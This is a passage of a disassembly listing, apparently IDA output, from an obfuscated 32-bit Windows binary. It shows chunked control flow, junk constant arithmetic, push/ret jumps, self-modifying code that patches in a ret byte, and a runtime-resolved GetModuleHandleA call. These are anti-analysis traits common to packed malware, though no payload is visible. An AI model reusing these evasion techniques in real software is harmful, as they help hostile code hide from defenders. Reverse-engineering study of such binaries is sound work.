		jmp	loc_40EA2E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC0E	proc near		; CODE XREF: sub_40D026j
		push	ebp
		mov	ebp, esp
		call	sub_40B23F
		add	esi, edx
		jmp	sub_40A3F3
sub_40BC0E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6B7


loc_40BC1D:				; CODE XREF: sub_40C6B7+16j
		push	offset sub_40C433
		jmp	loc_40D1F4
; END OF FUNCTION CHUNK	FOR sub_40C6B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40BC27:				; CODE XREF: sub_40C674+87Bj
		mov	[ebx], edx
		pushf
		cmp	edi, 8EC69086h
		jmp	loc_4095DB
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------


loc_40BC35:				; CODE XREF: o45kw3t9:loc_40CD46j
		call	sub_40CEFE
		mov	edx, 0A2CD59D9h
		call	sub_40988C
		mov	ds:dword_40F1D4, eax
		call	sub_40C641
		jmp	loc_40C85A

; =============== S U B	R O U T	I N E =======================================



sub_40BC53	proc near		; CODE XREF: sub_40A322+2BA0p
					; o45kw3t9:0040EFB1j

; FUNCTION CHUNK AT 0040A390 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040B415 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E86D SIZE 00000026 BYTES

		mov	[esp+0], ecx
		pop	ecx
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_40F1E8[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_40E86D
		jmp	loc_40D987
sub_40BC53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_40BC76:				; CODE XREF: sub_40A299-4F7j
		xchg	ebp, ecx
		rol	ecx, 8
		add	eax, 0A8A76F33h


loc_40BC81:				; CODE XREF: sub_40A299:loc_40C95Fj
		mov	eax, [ebp-4]
		push	offset sub_40AD8C
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C8A6


loc_40BC8E:				; CODE XREF: sub_40C8A6:loc_40B360j
		xchg	ebx, [eax]
		jmp	loc_40C390
; END OF FUNCTION CHUNK	FOR sub_40C8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3F3


loc_40BC95:				; CODE XREF: sub_40A3F3:loc_40C88Aj
		cmp	al, 0C2h
		jz	loc_40D782
		push	offset loc_40B4FC
		jmp	loc_40FA01
; END OF FUNCTION CHUNK	FOR sub_40A3F3
; ---------------------------------------------------------------------------
		adc	edi, 64A86C15h
		shl	ebp, 4
		jmp	sub_40980B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40BCB5:				; CODE XREF: sub_40E562:loc_409EF2j
		jge	loc_40C8D1


loc_40BCBB:				; CODE XREF: sub_40909E+396Bj
		jmp	loc_4102BD
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090AA


loc_40BCC0:				; CODE XREF: sub_4090AA+Fj
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_4090AA
; ---------------------------------------------------------------------------
		and	eax, 15D65B51h
		pushf
		test	edi, ebp
		jmp	loc_40B33F
; ---------------------------------------------------------------------------


loc_40BCD3:				; CODE XREF: o45kw3t9:loc_409D29j
		cmp	edi, 5A2C1743h
		jmp	loc_40AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BCDE:				; CODE XREF: sub_40D740:loc_40D7ADj
		test	edi, ecx
		jmp	loc_40B7CC
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D587


loc_40BCE5:				; CODE XREF: sub_40D587:loc_40DF8Aj
		call	sub_41010B
		push	8E132F14h
		mov	[esp+0], eax
		push	edi
		push	959A60B3h
		pop	edi
		add	edi, 0FD7574BBh
		and	edi, 0AC615F8Bh
		jmp	loc_409D44
; END OF FUNCTION CHUNK	FOR sub_40D587
; ---------------------------------------------------------------------------


loc_40BD0A:				; CODE XREF: o45kw3t9:0040A010j
		jp	loc_40BA3B

; =============== S U B	R O U T	I N E =======================================



sub_40BD10	proc near		; CODE XREF: sub_40E65D-2096p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B2C2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C3E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB95 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040D0EC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040E82F SIZE 0000000E BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		ror	eax, 2
		xor	eax, 39A00029h
		jmp	loc_40CB95
sub_40BD10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A846


loc_40BD22:				; CODE XREF: sub_40A846+9j
		call	sub_40D179

locret_40BD27:				; CODE XREF: o45kw3t9:0040E6D3j
		retn
; END OF FUNCTION CHUNK	FOR sub_40A846
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40942A


loc_40BD28:				; CODE XREF: sub_40942A+2D7j
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_40942A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40BD2D:				; CODE XREF: sub_4091CB+5DF7j
		jz	loc_40DFF3
		jmp	loc_40E4AF
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BD38:				; CODE XREF: sub_40D740-409Ej
		pop	edx
		and	edx, 8327763Ah
		sub	edx, 773B7B7Dh
		add	edx, 8831447Fh
		add	edx, ebp
		add	edx, 6F0712CAh
		mov	edx, [edx]
		jmp	loc_40D6CE
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECBD


loc_40BD5A:				; CODE XREF: sub_40ECBD-44B1j
		sbb	ebx, ebp
; END OF FUNCTION CHUNK	FOR sub_40ECBD

; =============== S U B	R O U T	I N E =======================================



sub_40BD5C	proc near		; CODE XREF: sub_40ECBD:loc_40ABCDj
		push	ebp
		xchg	esi, ebx
		push	ebx
		call	sub_40B0D1


loc_40BD65:				; CODE XREF: o45kw3t9:0040EDD1j
		jmp	loc_40D91B
sub_40BD5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40BD6A:				; CODE XREF: sub_40AD7A-AF7j
		jmp	loc_40CCD4
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
		mov	ebp, 0BD764B7Ah
		jmp	loc_40E157
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40BD79:				; CODE XREF: sub_40CC20:loc_40CD23j
		jz	loc_40ACE7
		jmp	loc_40A8F5
; END OF FUNCTION CHUNK	FOR sub_40CC20

; =============== S U B	R O U T	I N E =======================================



sub_40BD84	proc near		; CODE XREF: o45kw3t9:0040A14Cj
					; sub_40E93E:loc_40B698p

; FUNCTION CHUNK AT 0040B908 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D185 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040ED69 SIZE 00000022 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	esp, ebp
		pop	ebp
		jmp	loc_40B908
sub_40BD84	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8C2


loc_40BD91:				; CODE XREF: sub_40B8C2:loc_40B8C9j
		push	offset sub_40D996
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_40B8C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40BD9C:				; CODE XREF: sub_40B5CB+13j
		jmp	loc_40D6AB
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E7B2


loc_40BDA1:				; CODE XREF: sub_40E7B2-4A48j
		jmp	loc_40E86D
; END OF FUNCTION CHUNK	FOR sub_40E7B2
; ---------------------------------------------------------------------------


loc_40BDA6:				; DATA XREF: sub_40EAA6+Co
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_40BDCC
		pop	ecx
		jmp	loc_40B6C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BDBF:				; CODE XREF: sub_40D740-44B6j
		jz	loc_40ED96
		jmp	loc_40AD19
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40BDCA	proc near		; DATA XREF: o45kw3t9:0040AE6Eo
		pop	ebp
		retn
sub_40BDCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40BDCC	proc near		; CODE XREF: o45kw3t9:0040BDB4p
					; sub_40ABFA:loc_40CC7Fp ...
		jnz	sub_40FDEF
		push	ebp
		mov	ebp, esp
		jmp	sub_40FDD3
sub_40BDCC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40BDDA:				; CODE XREF: sub_40CC20-249Aj
		xchg	ecx, [eax]
		jmp	loc_40D66A
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------


loc_40BDE1:				; CODE XREF: o45kw3t9:0040B639j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40D66A
		jmp	loc_40E97C
; ---------------------------------------------------------------------------


loc_40BDF5:				; CODE XREF: o45kw3t9:0040D4B7j
		jo	sub_40B56D
		adc	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_40BDFD	proc near		; CODE XREF: sub_40A742+ABBp

; FUNCTION CHUNK AT 0040E8A9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0040EC3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA12 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, ebp
		jmp	loc_40EC3E
sub_40BDFD	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40BE09:				; CODE XREF: sub_410069-1BFCj
		jmp	loc_40AA62
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8E9


loc_40BE0E:				; CODE XREF: sub_40A8E9+7j
		jmp	loc_40DE41
; END OF FUNCTION CHUNK	FOR sub_40A8E9
; ---------------------------------------------------------------------------
		push	offset loc_40D850
		jmp	locret_40D6A5
; ---------------------------------------------------------------------------
		jnz	loc_40C4C8
		cmp	ebp, 7B8FD373h
		jmp	loc_40A293
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_40BE2F:				; CODE XREF: sub_40ACAB+Cj
		jmp	loc_410130
; END OF FUNCTION CHUNK	FOR sub_40ACAB
; ---------------------------------------------------------------------------
		jb	loc_40A969
		jmp	loc_40C8E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_40BE40:				; CODE XREF: sub_40DB3D-4458j
		jmp	loc_409C1D
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40948E


loc_40BE45:				; CODE XREF: sub_40948E+11j
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_40948E

; =============== S U B	R O U T	I N E =======================================



sub_40BE4A	proc near		; CODE XREF: o45kw3t9:0040D721p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		mov	eax, [ebp-4]
		add	eax, 230CC0F2h
		add	eax, 0DCF33F4Ah
		call	sub_40E509
sub_40BE4A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_40BE64:				; CODE XREF: sub_40ECE1-5917j
		jmp	loc_40A60F
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_40D13B
; ---------------------------------------------------------------------------


loc_40BE6F:				; DATA XREF: o45kw3t9:0040E5ABo
		push	78242F1Eh
		pop	edx
		or	edx, 0FC09E911h
		test	edx, 80h
		jmp	loc_409982
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40BE86:				; CODE XREF: sub_40E562+1D61j
		jz	loc_4098AE
		jmp	loc_40FE0B
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40BE91:				; CODE XREF: sub_40B540-957j
		jbe	loc_40920A
		jmp	loc_40EF1C
; END OF FUNCTION CHUNK	FOR sub_40B540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40BE9C:				; CODE XREF: sub_40FE86-2BE8j
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_40FE86
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40BEA3:				; CODE XREF: o45kw3t9:loc_409200j
					; o45kw3t9:loc_409A4Aj	...
		jns	loc_409C53
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_409C38
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40BEB8:				; CODE XREF: sub_40B5CB+2656j
		jz	loc_40C013
		jmp	loc_40DC41
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BEC3:				; CODE XREF: sub_40D740:loc_41000Dj
		jnz	loc_40E134
		jmp	loc_40A2AB
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4102EB


loc_40BECE:				; CODE XREF: sub_4102EB:loc_4102FCj
		pop	eax
		or	eax, 0EA2B13EAh
		xor	eax, 3BCDC3CFh
		add	eax, ebp
		add	eax, 3F09E7CBh
		push	offset sub_40E98E
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_4102EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40BEED:				; CODE XREF: sub_40A259:loc_40B2E4j
		cmp	eax, 66h
		jnz	loc_40BF09
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_40BF09
		jmp	loc_40E6E3
; ---------------------------------------------------------------------------


loc_40BF09:				; CODE XREF: sub_40A259+1C97j
					; sub_40A259+1CA5j
		js	loc_4094F3
		mov	eax, [ebp-4]
		jmp	loc_409C09
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------


loc_40BF17:				; CODE XREF: o45kw3t9:0040B8B2j
		jp	loc_40E91F
		cmp	ebp, 0AA0DFF5Bh
		jmp	loc_40922D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40BF28:				; CODE XREF: sub_40C674:loc_40D63Ej
		add	edi, ebp
		add	edi, 69200034h
		mov	edi, [edi]
		xchg	edi, [esp+0]
		push	dword ptr [ebp+8]
		call	eax	; GetModuleHandleA
		mov	[ebp-4], eax
		jmp	loc_409B99
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------


loc_40BF42:				; CODE XREF: o45kw3t9:0040B72Aj
		push	ebp
		jmp	loc_40FF18
; ---------------------------------------------------------------------------


loc_40BF48:				; DATA XREF: sub_40A01C-E32o
		call	nullsub_3
; START	OF FUNCTION CHUNK FOR sub_40E187


loc_40BF4D:				; CODE XREF: sub_40E187:loc_40C026j
		mov	eax, [ebp-4]
		call	loc_40D791
		test	al, al
		jnz	loc_40D8D9
		jmp	loc_40D8D0
; END OF FUNCTION CHUNK	FOR sub_40E187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40BF62:				; CODE XREF: sub_40C674+2A2Aj
		jns	sub_40E93E
		jmp	loc_40C013
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB55


loc_40BF6D:				; CODE XREF: sub_40FB55+Ej
		call	sub_40B5CB
; END OF FUNCTION CHUNK	FOR sub_40FB55
; START	OF FUNCTION CHUNK FOR sub_40A135


loc_40BF72:				; CODE XREF: sub_40A135+Fj
		push	offset sub_40FADA
		jmp	loc_4090E1
; END OF FUNCTION CHUNK	FOR sub_40A135
; ---------------------------------------------------------------------------
		or	esi, 0B82F90E7h
		jmp	loc_409414

; =============== S U B	R O U T	I N E =======================================



sub_40BF87	proc near		; CODE XREF: sub_40C71C+134p
					; o45kw3t9:0040E4AAj
		mov	[esp+0], ecx
		pop	ecx
		mov	eax, [ebp-4]
		push	offset sub_40B88D
		jmp	nullsub_21
sub_40BF87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BF98	proc near		; CODE XREF: sub_409E37:loc_40C234j
		retn
sub_40BF98	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BF99	proc near		; DATA XREF: sub_409CFF+1Fo
		lea	eax, nullsub_49
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_49
sub_40BF99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CFF


loc_40BFA7:				; CODE XREF: sub_409CFFj
		mov	eax, [esp+0]
		push	edx
		call	sub_40D2B4

locret_40BFB0:				; CODE XREF: o45kw3t9:0040DE65j
		retn
; END OF FUNCTION CHUNK	FOR sub_409CFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40BFB1:				; CODE XREF: sub_4091CB:loc_40C38Bj
		jmp	loc_4094B9
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40BFB6:				; CODE XREF: sub_40AD7A+Dj
		jmp	loc_40A27D
; END OF FUNCTION CHUNK	FOR sub_40AD7A

; =============== S U B	R O U T	I N E =======================================



sub_40BFBB	proc near		; CODE XREF: sub_40A170+6p
					; sub_40CE59+30Ej

; FUNCTION CHUNK AT 00409B47 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040A118 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B658 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CC69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D1AD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040D6A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC15 SIZE 0000001E BYTES

		mov	[esp+0], edx
		pop	edx
		jz	loc_40D1B2


loc_40BFC5:				; CODE XREF: sub_40BFBB-2467j
					; sub_40A467+4A09j
		jb	loc_40EC25
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		jmp	loc_409B47
sub_40BFBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40BFD7:				; CODE XREF: o45kw3t9:0040EE55j
		retn
; ---------------------------------------------------------------------------


loc_40BFD8:				; CODE XREF: o45kw3t9:0040B26Fj
		jmp	loc_40E31F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40BFDE:				; CODE XREF: sub_40B1B3+3DE2j
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_40B1B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40BFE3:				; CODE XREF: sub_40988C:loc_40A4C7j
		jnz	loc_40BBAE
		jmp	loc_40DDF3
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
		mov	edx, 0D504D785h
		call	sub_40E858
		push	eax
		rol	eax, 1Bh


loc_40BFFC:				; CODE XREF: o45kw3t9:loc_40EA2Ej
		mov	ds:dword_40CFF0, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCC


loc_40C003:				; CODE XREF: sub_409CCC+4226j
		jmp	loc_40B89B
; END OF FUNCTION CHUNK	FOR sub_409CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C433


loc_40C008:				; CODE XREF: sub_40C433:loc_40A93Cj
		jnz	loc_4096F0
		jmp	loc_40E5E4
; END OF FUNCTION CHUNK	FOR sub_40C433
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40C013:				; CODE XREF: sub_40FB55-4FE8j
					; sub_40B5CB-903j ...
		jmp	loc_40E6AB
; ---------------------------------------------------------------------------


loc_40C018:				; CODE XREF: sub_40C674-308Dj
					; sub_40B5CB+2650j
		mov	ecx, offset sub_40C030
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_40C021:				; CODE XREF: sub_40A416+5841j
		jmp	locret_40D8B7
; END OF FUNCTION CHUNK	FOR sub_40A416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E187


loc_40C026:				; CODE XREF: sub_40E187+7j
		jmp	loc_40BF4D
; END OF FUNCTION CHUNK	FOR sub_40E187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40C02B:				; CODE XREF: sub_40A6F8+1E28j
		jmp	loc_40906D
; END OF FUNCTION CHUNK	FOR sub_40A6F8

; =============== S U B	R O U T	I N E =======================================



sub_40C030	proc near		; DATA XREF: sub_40B5CB:loc_40C018o

; FUNCTION CHUNK AT 0040E68D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		jmp	loc_40E68D
sub_40C030	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C03C:				; CODE XREF: sub_40943A+5CDFj
		jmp	loc_40C72D
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------


loc_40C041:				; CODE XREF: o45kw3t9:0040DBC5j
		sbb	edi, eax
		rol	edx, 13h
		sub	ecx, 5EB15F63h


loc_40C04C:				; CODE XREF: o45kw3t9:loc_40DBB5j
		add	edx, 329F5A8Ah


loc_40C052:				; CODE XREF: o45kw3t9:loc_40A8D9j
		add	edx, ebp
		add	edx, 7DD8D548h
		mov	edx, [edx]
		jmp	loc_409B91
; ---------------------------------------------------------------------------
		popf
		jmp	sub_40B1A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C067:				; CODE XREF: sub_40D740-20F4j
		shl	eax, 10h
		xchg	edi, [ebx]
		sbb	ebp, eax
		jmp	loc_40C175
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40C073:				; CODE XREF: o45kw3t9:0040B267j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C175
		jmp	loc_40A4A1
; ---------------------------------------------------------------------------


loc_40C087:				; CODE XREF: o45kw3t9:0040B256j
		jns	loc_40D538
		rol	edx, 5
		cmp	esi, 8A12E4FBh
		jmp	loc_40D4C6
; ---------------------------------------------------------------------------
		mov	edx, 90C6F320h
		jmp	sub_40FA51
; ---------------------------------------------------------------------------
		sbb	edx, 4AA970Dh
		sub	esi, 189CAAB0h
		jmp	sub_40DCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40C0B6:				; CODE XREF: sub_40E98E+Bj
		jz	loc_40A68E
		jmp	loc_40A518
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C0C1:				; CODE XREF: sub_40D740-4607j
		jle	loc_40F0B7
		or	ecx, 49A4936Fh
		jmp	loc_40E99E
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FC1D


loc_40C0D2:				; CODE XREF: sub_40FC1D:loc_40C985j
		push	offset sub_40EC83
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_40FC1D
; ---------------------------------------------------------------------------


loc_40C0DC:				; CODE XREF: o45kw3t9:0040A367j
					; o45kw3t9:loc_40FA40j
		mov	eax, [ebp-4]
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40C0DF:				; CODE XREF: sub_40EABC:loc_40D658j
		push	offset loc_40E7FD
		jmp	loc_40BBE5
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40C0E9:				; CODE XREF: sub_40AD7A+1672j
					; DATA XREF: o45kw3t9:0040DE60o
		mov	ebp, esp
		jo	sub_40C50D
		add	esp, 0FFFFFFCCh


loc_40C0F4:				; CODE XREF: o45kw3t9:loc_40D219j
		lea	eax, nullsub_4
		jmp	loc_40C254
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40C0FF:				; CODE XREF: sub_40928F:loc_40A442j
		jz	loc_40FEEA
		jmp	loc_40DF84
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40C10A:				; CODE XREF: sub_40EC83:loc_40DBA8j
		push	eax
		pushf
		push	0B11B2FD9h
		pop	eax
		and	eax, 0C00588E6h
		jmp	loc_409D2E
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
		jmp	loc_409A36
; ---------------------------------------------------------------------------
		push	115363FAh
		pop	eax
		or	eax, 0F3566445h
		sub	eax, 0A4C05AAAh
		xor	eax, 768DC624h
		jmp	loc_40FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40C13F:				; CODE XREF: sub_40CC20:loc_40AE80j
		jnz	loc_40C25F


loc_40C145:				; CODE XREF: o45kw3t9:loc_40A293j
		jmp	loc_40A23D
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------


loc_40C14A:				; DATA XREF: sub_409ED2+259o
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_40EA42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40C155:				; CODE XREF: sub_40A551+2F52j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_40EA36
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40C15D:				; CODE XREF: sub_40E0E0-316Cj
					; sub_40E0E0-430j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jnz	loc_40E4BA
		jmp	loc_40A7A0
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40C16E:				; CODE XREF: sub_409FA8:loc_4099C2j
		test	ebx, ecx
		jmp	loc_40AA0C
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C175:				; CODE XREF: sub_40D740-16D2j
					; o45kw3t9:0040C07Cj ...
		jmp	sub_4094DF
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------


loc_40C17A:				; CODE XREF: o45kw3t9:0040B2AFj
					; o45kw3t9:0040BA64j
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	ebp, ebx
		pop	ebx
		jmp	loc_40DF8F
; ---------------------------------------------------------------------------
		sub	esi, edi
		jmp	sub_40C683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40C192:				; CODE XREF: sub_40CC20+9j
		mov	eax, ds:dword_40CFEC
		or	eax, eax
		jnz	loc_40AE78
		jmp	loc_40B9D3
